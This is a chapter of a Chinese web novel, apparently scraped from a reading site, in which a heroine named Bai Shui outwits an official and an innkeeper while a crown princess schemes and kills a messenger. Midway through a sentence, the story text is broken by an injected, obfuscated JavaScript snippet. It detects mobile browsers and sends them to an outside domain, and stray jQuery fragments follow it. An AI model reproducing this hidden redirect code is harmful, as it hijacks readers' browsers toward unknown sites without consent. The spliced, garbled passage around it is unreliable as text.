48. 纹着Hello

作品:《全员穿越后失忆

    什么天时地利,她偏要人定胜天。


    她一定会让该死的人付出代价,她一定会。


    白水无力地闭上眼,重重呼出压在心口的气。一滴泪从细长的眼角处不争气滑落,晶莹泪光顺着灼烈的阳光砸入尘土,眼中其余的滚烫热泪被硬生生收了回去。


    泪光闪烁的瞬间,谢澜之猛地心一颤,那滴泪仿佛不是砸入尘土中,而是砸到了他的心尖上。明明身处暖阳之下,可女子周身的悲凉却在白衣墨丝中狠狠刺痛了他的眼。


    她,怎么了。


    谢澜之眼底的身影与他明目张胆的视线交缠不断,他下意识抬脚上前,却在被白水察觉后转头的一个眼神制止住脚步。


    白水对身后的谢澜之视若无睹,平静地转回了头,任凭晨间的微风将脸上的泪痕吹干。


    低沉的声音抢先在她提步走开的前一刻发出,“哭什么?”


    在这一刻,谢澜之脑中的数个问题,关于她的出身,她来此的目的种种都被一个念头取而代之。


    她哭了。


    “谢大人莫不是看错了,不过是——”白水的话忽而被递到眼前的手帕堵在喉间。


    “眼睛进沙子了。”谢澜之难得好心替她补充了一句。


    白水并未接过手帕,转身直面谢澜之。在谢澜之的眼底,白水的神色已经是同往常那般平静淡漠。刚被泪水浸润过的瑞凤眼始料不及撞进谢澜之眼中,谢澜之鼻间的呼吸不由得滞住。


    瑞凤眼在阳光下明亮如星,上扬的眼尾微红,长而密的睫毛上还闪烁着晶莹泪光。眼中分明残留的几分悲伤在四目相对的瞬间一晃而过,迅速被平静无波取代。


    白水扬唇,“不知谢大人还有何贵干?若无事,我便要回寺了。”


    白水的声音将谢澜之唤了回来,他垂下眼睑,目光闪烁,有些不大自在。随即又凝神询问:“太女为何会突然找你过来?她不做无用功,你与戎族之间……”


    后面的话谢澜之没有问出口。因为他看见,他面前的白水像是在看笑话般满不在意,唇边的笑容愈发灿烂起来,谢澜之不解。


    “太女为何找我过来,谢大人应该去问太女,与我何干?我与戎族有无瓜葛,不过是几位一句话的事情。‘是非审之于己,毁誉听之于人,得失安之于数’【1】。谢大人又何必多问于我。”


    谢澜之此刻竟有些无措。听这话,白水也看出来了太女在怀疑她与戎族有牵连,而且白水此刻笑语嫣然,像是早已看清他们的疑神疑鬼。


    如此坦荡,倒让谢澜之不知所措起来。是啊,他又何必问她,问了她又该如何回答,说了真话他就一定会信吗。谢澜之也不敢保证。


    “我……我不是这个意思。只是,我自认你不是会害怕抽筋剥皮之人,适才落泪,我有些不解。”谢澜之头一回觉得说话如此烫嘴,他本来想问的不是这些啊。


    可是不是这些,又该是什么?


    一贯高高在上,视面子如命的男人如今语气竟是有几分放低姿态妥协的意味。白水可不吃这一招,她不屑地挑眉嗤笑一声。“谢大人如此关心他人的喜怒哀乐,不如到街上听听家长里短来得痛快,也免得在此猜忌。”


    “啧,”谢澜之一听这话便不自在地蹙眉,但感受到白水语气中的那份平静在被其他情绪所代替,他拧起的眉间又缓缓松开。


    薄唇轻启,出乎意料的只说了一个字。“嗯。”


    白水反倒被谢澜之这副难得“乖巧”的模样弄得疑惑了起来,她上下扫了谢澜之一眼,随即别开头,扬起头看天。自顾自说了句,“天气真好,我得回去溜个猫。”


    这话不假,寺内经常有只黑猫过来偷吃小鱼干。


    “嗯。”谢澜之认真盯着远去的白衣身影,也不管白水有没有听见。


    此时晨间,雀啼楼内只有零零散散的人在打扫忙碌,初阳被雕花镂窗柔柔包裹入楼。眼尖的小拾一瞧见白水入门便急急上前招呼:“哎哟姑娘是你啊,来来来,请上楼,今日儿想吃些什么?现在厨子们都在后边备菜呢。”


    白水悠闲地环起手,没回答他,只是径自走上七楼,停在凭空断掉的楼梯口处。小拾不明所以,但现下楼内清闲,他也就跟着白水上了七楼。楼上只剩二人一前一后站立。


    “八楼为何不得上?”白水看似随口一问。


    小拾扭头环顾四周:“这我也不知道,得问问掌柜。姑娘,可是要雅间?”


    “听闻掌柜爱看戏曲,可直到昨日京州戏台为西域使臣进献表演,也未曾瞧见掌柜现身,莫不是睡过头了。”白水饶有趣味的笑着,有些玩世不恭。


    小拾嘿嘿一笑:“姑娘,你这不是蒙我吗?你上次同另一位姑娘前来时,都没见过掌柜。你又怎么知道掌柜长什么样子?还有啊姑娘,这京州戏台可不得了啊如今……”


    白水耐心的听他絮絮叨叨完。只说了三个字:“海龟汤。”


    随后在小拾怔愣的神色中,白水从袖中掏出两枚铜钱放入小拾手中,“掌柜的,天上水中,青黛放二钱。”


    不是三钱。


    此话一出,小拾脸上的笑容倏忽僵住。


    “小小的一钱之差,味道已是千差万别。”


    “八步巷中死的,是三个人。但是活下来了的,是两个人。”


    “巷中的幼童,是女童,不是男童。但听到铜锣声的却是男童,对吧。”


    “所以,那位女童,又到哪里去了?”白水将目光移向噤若寒蝉的小拾。


    “姑、姑娘,您这……这是在说些什么啊?我实在是听不懂啊。”小拾看起来一头雾水。


    见状,白水也不恼,“恐怕没人会想到,昔日听到铜锣声的幼童目睹八步巷中的惨案时不吵不闹,相反,有条有理的向他人叙述此事。长大之后,不仅记得清清楚楚,还洋洋得意的将此事编排。雀啼楼的楼主不是鲜少见人,也不是不见人。恰恰相反,他就在这雀啼楼中,每一日都在。掌柜你说呀,你在等什么好东西呢?”


    空气在无声中凝滞,白水拿出一个青花瓷瓶与一个白瓶,“我知道的远比你要多,我也知道,你出现在这里是为了什么。都说商人重利,这桩买卖你若是考虑清楚,只赚不亏。我要你做的很简单,将所有你能招揽到的人在今夜聚集在雀啼楼内,白瓶中的东西,我要所有人都能喝到。再而,将青瓶中的东西倒入井中,给他们送上你真正做出的天上水。”


    小拾没有接过两个瓷瓶,他脸上的疑惑神色褪去,取而代之的是一副凝重的神色。“我凭什么要信你,又凭什么要帮你。”


    白水嘴边的笑容愈发灿烂,她将瓷瓶放在断口楼梯的扶手上,瓷瓶在上如人走钢丝般作摇摇欲坠之势。她转身下楼,不疾不徐的声音传入小拾耳中,历历可辨。“这是你自己造下的罪孽,总归是要自己还的。她还是幼童,至于为什么,我给你一条线索,你自己去查吧。眼见为实,不过各取所需罢了。”


    七楼平日里招待的人并不多,又位在高处,楼梯也久未修缮。此刻随着白衣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500978|182229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    飘过带起的风,与踏在木梯上的震颤,两个瓷瓶摇晃起来。


    楼间洒扫的动作大了起来,这一瞬,两个瓷瓶不慎滑落下楼。


    昭明宫的暗室,苏承昭目光沉沉,指尖收拢,将密信上的字攥入掌心。朱唇轻启。“一群废物,连个空壳子都认不出来。”


    黑影倒是看起来气定神闲,“太女也不必心急。虽说不知顾大将军如今身在何处,但以他的身手,还不至于会落入险境。”


    “哼,不至于落入险境,那是去哪儿躲清闲了。戎族兵临城下,军中主力却是个冒牌货,怎么,还要等父皇将国土拱手相让不成?”


    黑影自顾自的斟了杯茶,“太女似乎很是紧张顾大将军,关心则乱。太女不妨仔细思索一番,军中将士颇多,顾大将军的亲信也在,为何会无人发现?是骗子隐藏得太好,还是,”黑影顿了顿,抬眼观察苏承昭脸上的神色。


    父皇近几年的诏令看似同前些年的并无不同,但只要细思便知其中不妥。不知何处来的鬼东西,将她父皇无声息间吞食,此事,她都不需要问灼华。偏偏这人不聪明但也不傻,将父皇手底下暗处的势力藏得极好,她如今只是太女,不能独断。朝中的重臣,苏承昭私底下交手过,费了不少功夫在朝堂之上,倒是忽略了边防之事。


    顾承的为人她清楚,算得上半个忠臣,虽为人倨傲,但爱民。此次疏漏,莫不是做了更大的交易。


    “知而不报。”苏承昭手中的密信被指甲深深扣进掌心。“所以,你是要告诉本宫,本宫的国力早已被掏空殆尽,留下空壳虚张声势吗!”


    翠玉茶盏被重重扬翻在地,清亮的茶水四溅在地。


    “白水此人工于心计,尤其擅长隐忍。今日所见,情义二字于她,不过三分的重量。她不能为我所用,也不能落入他人手中。擒贼先擒王,盯好白水,我要知道她的背后,到底是谁。”


    黑影徐徐走到苏承昭的身侧,“太女,麒麟殿的人手和消息可不是大风刮来的,太女上次的筹码——南镇抚司,也只是勉强合我家主子的眼缘。这一次,太女总得真心实意给点什么吧?人重利是本性,但是交易讲究的是你情我愿。”


    苏承昭一记眼刀射过去,黑影不怒反笑。“太女知道的,麒麟殿的规矩是我们主子定下的。钱财次要,什么名利都甚至可以说毫无干系,只要合眼缘,诸事皆可。”


    闻言,苏承昭单手撑起下巴,右手移到紫檀木椅的扶手上。适才眼中浮起的怒气散入眼底,转而若有所思的沉默。而后,满意她这副神色的黑影转身作势离去,却听见身后的女人不疾不徐地开口。


    自带压迫感的声音在幽暗之中如蟒蛇爬过,所到之处,空气被缠绕得密不透风,令人窒息难耐。


    “麒麟殿也不过一介江湖组织,普天之下,莫非黄土。你的意思是,你们麒麟殿要与皇室为敌?皇室能看得起你们,你们就该谢主隆恩。皇室只需要会听话的狗,胆敢以下犯上,和我讲条件,那便不足为用。”


    话音刚落,黑影嘴边的笑容还未淡去便直身倒地,藏有剧毒的短箭从心口带着血淋淋的皮肉穿出。


    苏承昭起身理了理袖子,姿态倨傲不屑。只轻描淡写地说了几个字。“把人送回麒麟殿。”


    暗处走出两个死士,默不作声地把人抬走,又在黑暗中将地上的血迹擦拭干净。空气中弥漫出一股淡淡的花香,不过可惜,离开的人并未注意到这一点。


    心中思绪诸多,又怎会在意到几缕似有似无的花香。